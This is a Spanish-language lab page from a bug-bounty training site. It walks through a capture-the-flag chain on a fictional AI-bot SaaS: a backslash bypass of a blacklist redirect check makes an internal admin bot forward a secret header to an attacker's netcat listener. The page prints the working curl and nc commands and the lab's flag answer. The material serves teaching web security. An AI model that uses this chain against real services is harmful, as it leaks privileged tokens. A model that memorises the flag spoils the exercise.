Open Redirect via Backslash Bypass + Header Drag
Nexora AI Studios es un SaaS de bots de IA (marketplace estilo Poe.com) cuya consola pública valida con lista negra el parámetro `next` del login. Un detalle ortográfico en la lista (no contempla la barra invertida) deja escapar URLs externas tras la normalización WHATWG del navegador, y el bot interno *Admin Assistant* — que sigue links pegados en su chat desde dentro del service mesh — arrastra un header secreto en cada hop. Encadenar los dos defectos hace que el bot entregue el header privilegiado a un listener controlado por el atacante.
Aprende a encontrar este bug
Este bug pagó $300 en YesWeHack.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
hunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hunters que lo han resuelto· 8
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible
Open Redirect via Backslash Bypass + Header Drag
Writeups de la comunidad
Descripción del lab
Nexora AI Studios es una startup que ofrece una consola SaaS para crear, alojar y conversar con bots de IA. Su producto, Nexora Console, te recuerda a Poe.com o al GPT Store: tras login aterrizas en un dashboard con seis bots — Image Wizard, Code Sensei, Translator Pro, Email Composer, Data Analyst y Admin Assistant —, cada uno con su intro, sus capacidades y un chat individual. Cinco están pensados para usuarios finales; el sexto, Admin Assistant, es el bot que el propio equipo de operaciones usa internamente para "depurar links y previews desde la infraestructura de Nexora".
Has sido contratado como pentester externo. El alcance que te ha dado el cliente cubre toda la consola pública (http://localhost:1401), incluyendo registro, login, dashboard, chats, perfil, settings y billing. No tienes credenciales internas ni acceso al code base — solo una cuenta de prueba (attacker@nexora.ai / password123) y el portal expuesto. El equipo de Nexora insiste en que su validación de redirects post-login está endurecida con una lista negra mantenida por ellos mismos: están convencidos de que no se puede abusar.
La consola se ve pulida: animaciones, gradientes, typing indicators en los chats, historial de facturas en billing, tabs cosméticas en settings. La superficie es deliberadamente acotada — no hay endpoints "preview", ni shorteners, ni admin panel expuesto, ni webhooks. Tu cliente quiere saber si la consola, tal cual está, se puede pivotar para sacar algo que sólo vive dentro del service mesh: un header firmado, llamado X-ULTRA-SECRET-TOKEN, que las máquinas internas de Nexora se intercambian entre sí.
Tu trabajo es demostrar que sí, que se puede. Y dejar capturado el valor del header como prueba.
Cadena de ataque
La cadena tiene cuatro capas. Cada una es un paso pequeño; la dificultad está en encontrar la conexión entre ellas, no en cada salto individual.
Capa 1 — Descubrimiento del parámetro de redirect. El formulario de login (/login) acepta un query param ?next=/dashboard (default) y un alias legacy ?redirect_url=… que no aparece en la UI pero que el backend reconoce. Si tu cliente HTTP envía Accept: text/html, el backend responde con 302 Location: <next>; si envía Accept: application/json, devuelve { user, next } en el cuerpo y el frontend hace navigate(next) en cliente.
Capa 2 — La validación es una lista negra, no una allowlist. Hay una función isSafeRedirect() que rechaza todo lo que no empiece por /, todo lo que empiece por //, y los prefijos /javascript:, /data:, /vbscript:. Como buena lista negra, deja huecos: no contempla otros separadores que el parser de URLs del navegador (y de axios cuando sigue redirects) considera equivalentes al slash. La especificación WHATWG (§4.4 path-state) trata uno de esos caracteres exactamente igual que un slash dentro de un esquema con autoridad (http://, https://). La validación, que usa comparación literal sobre el string, no lo ve.
Capa 3 — Validación en local con tu navegador. Construyes una URL de bypass, te logueas con la cuenta demo, y compruebas en tu propio Chrome/Firefox que efectivamente acabas en un dominio externo. Es un open redirect "limpio" — útil para phishing en un programa real, pero aquí no te da la flag: tu navegador no es quien lleva el secreto. La flag vive en un header que sólo emite tráfico interno de Nexora.
Capa 4 — El bot Admin Assistant arrastra el header. En el dashboard, Admin Assistant anuncia que "ayuda al equipo de operaciones a depurar links y previews desde dentro de la infraestructura". Cuando pegas una URL en su chat, un proceso de servidor (axios, polling cada 4 s) la lee, valida que el host esté en una allowlist same-origin (localhost:1401, 127.0.0.1:1401, host.docker.internal:1401, nexora.ai, nexora) y hace un GET con tres headers: Authorization: Bearer <admin_jwt>, User-Agent: Nexora-AdminBot/1.4 y X-ULTRA-SECRET-TOKEN: FLAG{…}. El bot maneja redirects manualmente (maxRedirects: 0, hasta 3 hops): si recibe un 3xx, lee Location, lo resuelve como URL absoluta contra la URL actual (aquí es donde WHATWG hace su magia con el separador), reescribe loopback (localhost → host.docker.internal) para poder hablar con la red del host, y emite el siguiente hop con los mismos headers, incluido el secreto.
Encadenando: pegas en el chat una URL del propio Nexora (pasa la allowlist) cuyo next esté preparado con el carácter de bypass para apuntar a tu listener externo. El bot navega Nexora → recibe 302 → resuelve el Location como URL absoluta a tu listener → emite el siguiente hop hacia ti → tu nc (o python -m http.server) recibe la request entrante y ve el header.
# Terminal 1 — listener en el host
nc -lp 9999
# Terminal 2 — login del atacante (cookie almacenada en cookies.txt)
curl -i -c cookies.txt -X POST http://localhost:1401/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@nexora.ai","password":"password123"}'
# Terminal 2 — mensaje al chat de Admin Assistant con la URL maliciosa
curl -b cookies.txt -X POST http://localhost:1401/api/chat/admin-assistant/messages \
-H 'Content-Type: application/json' \
-d '{"body":"http://localhost:1401/login?next=/\\127.0.0.1:9999"}'
# Esperar ~4-8s (un ciclo del bot). En Terminal 1 aparece la petición entrante con:
# X-ULTRA-SECRET-TOKEN: FLAG{1158491d6fb05abc8933c6207e131e83}
Reescritura WHATWG: el backend responde 302 Location: /\127.0.0.1:9999. El bot resuelve new URL('/\\127.0.0.1:9999', 'http://localhost:1401/login?...') → http://127.0.0.1:9999/ (porque \ se trata como / después del scheme con autoridad). El bot reescribe loopback → http://host.docker.internal:9999/ y emite ese GET con los headers internos.
Flag
La flag está embebida en el header X-ULTRA-SECRET-TOKEN que el bot envía en cada hop. Su valor se computa de forma determinística al boot del contenedor.
FLAG{1158491d6fb05abc8933c6207e131e83}
Verifica:
echo -n 'nexora::open_redirect::backslash::admin_assistant' | md5sum
# 1158491d6fb05abc8933c6207e131e83
O directamente con el script del repo:
bash flag/verify.sh
Referencias
- HackerOne — Poe.com Open Redirect via backslash (2023): reporte público que documenta el mismo bypass
\no contemplado enredirect_urltras OAuth. Bounty: 750 USD. - WHATWG URL Standard §4.4 — path-state: especifica que
\se trata como solidus dentro de schemes con autoridad. https://url.spec.whatwg.org/#path-state - Snyk research — Open Redirect via Backslash (2022): catálogo de bypasses por normalización de carácter, incluye matriz de comportamiento entre parsers (browser, axios, Go
net/url, Pythonurllib). - PortSwigger Web Security Academy — Open redirection: lecciones interactivas sobre la familia CWE-601 y vectores de explotación encadenados. https://portswigger.net/web-security/all-labs#open-redirection
- OWASP Cheat Sheet — Unvalidated Redirects and Forwards: guía de remediación canónica (allowlist absoluta, tokens firmados, no aceptar URLs externas). https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html